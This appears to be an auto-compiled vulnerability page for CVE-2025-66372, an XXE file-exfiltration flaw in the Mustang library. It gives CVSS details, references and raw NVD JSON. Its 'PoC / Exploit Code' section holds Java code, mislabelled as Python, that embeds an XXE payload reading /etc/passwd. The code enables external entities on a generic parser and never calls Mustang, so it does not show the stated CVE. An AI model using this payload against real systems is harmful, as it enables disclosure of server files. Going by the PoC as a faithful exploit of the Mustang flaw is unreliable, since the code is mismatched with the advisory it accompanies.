CVE-2025-66372

Description

Mustang before 2.16.3 allows exfiltrating files via XXE attacks.

CVSS Details

CVSS Score

2.8

Severity

LOW

CVSS Vector

CVSS:3.1/AV:L/AC:H/PR:L/UI:N/S:C/C:L/I:N/A:N

Configurations (Affected Products)

No configuration data available.

Mustang < 2.16.3

PoC / Exploit Code

⚠ For Security Research Only

The following code is for security research and authorized testing only.

python

import javax.xml.parsers.DocumentBuilderFactory;
import javax.xml.parsers.DocumentBuilder;
import org.w3c.dom.Document;
import org.w3c.dom.Element;
import org.w3c.dom.NodeList;

public class xxe_poc {
    public static void main(String[] args) {
        try {
            // Malicious XML with XXE payload
            String maliciousXml = "<?xml version=\"1.0\" encoding=\"UTF-8\"?>" +
                "<!DOCTYPE foo [<!ENTITY xxe SYSTEM \"file:///etc/passwd\">]>" +
                "<root>" +
                "<data>&xxe;</data>" +  // Reference to external entity
                "</root>";
            
            // Vulnerable configuration (before fix)
            DocumentBuilderFactory factory = DocumentBuilderFactory.newInstance();
            factory.setFeature("http://apache.org/xml/features/disallow-doctype-decl", false);
            factory.setFeature("http://xml.org/sax/features/external-general-entities", true);
            factory.setFeature("http://xml.org/sax/features/external-parameter-entities", true);
            
            DocumentBuilder builder = factory.newDocumentBuilder();
            Document doc = builder.parse(new java.io.ByteArrayInputStream(maliciousXml.getBytes()));
            
            // Extract and display file content
            NodeList nodeList = doc.getElementsByTagName("data");
            if (nodeList.getLength() > 0) {
                System.out.println("File content exfiltrated:");
                System.out.println(nodeList.item(0).getTextContent());
            }
            
        } catch (Exception e) {
            e.printStackTrace();
        }
    }
}

References

[1] CVE.org https://www.cve.org/CVERecord?id=CVE-2025-66372
[2] NVD NIST https://nvd.nist.gov/vuln/detail/CVE-2025-66372
[3] CVE Details https://www.cvedetails.com/cve/CVE-2025-66372/
[4] VulDB https://vuldb.com/cve/CVE-2025-66372
[5] https://github.com/ZUGFeRD/mustangproject/issues/685
[6] https://github.com/ZUGFeRD/mustangproject/pull/725
[7] https://github.com/ZUGFeRD/mustangproject/releases/tag/core-2.16.3

Raw JSON Data

JSON

{"cve": {"id": "CVE-2025-66372", "sourceIdentifier": "[email protected]", "published": "2025-11-28T04:16:01.470", "lastModified": "2026-04-15T00:35:42.020", "vulnStatus": "Deferred", "cveTags": [], "descriptions": [{"lang": "en", "value": "Mustang before 2.16.3 allows exfiltrating files via XXE attacks."}], "metrics": {"cvssMetricV31": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:L/AC:H/PR:L/UI:N/S:C/C:L/I:N/A:N", "baseScore": 2.8, "baseSeverity": "LOW", "attackVector": "LOCAL", "attackComplexity": "HIGH", "privilegesRequired": "LOW", "userInteraction": "NONE", "scope": "CHANGED", "confidentialityImpact": "LOW", "integrityImpact": "NONE", "availabilityImpact": "NONE"}, "exploitabilityScore": 1.1, "impactScore": 1.4}]}, "weaknesses": [{"source": "[email protected]", "type": "Secondary", "description": [{"lang": "en", "value": "CWE-611"}]}], "references": [{"url": "https://github.com/ZUGFeRD/mustangproject/issues/685", "source": "[email protected]"}, {"url": "https://github.com/ZUGFeRD/mustangproject/pull/725", "source": "[email protected]"}, {"url": "https://github.com/ZUGFeRD/mustangproject/releases/tag/core-2.16.3", "source": "[email protected]"}]}}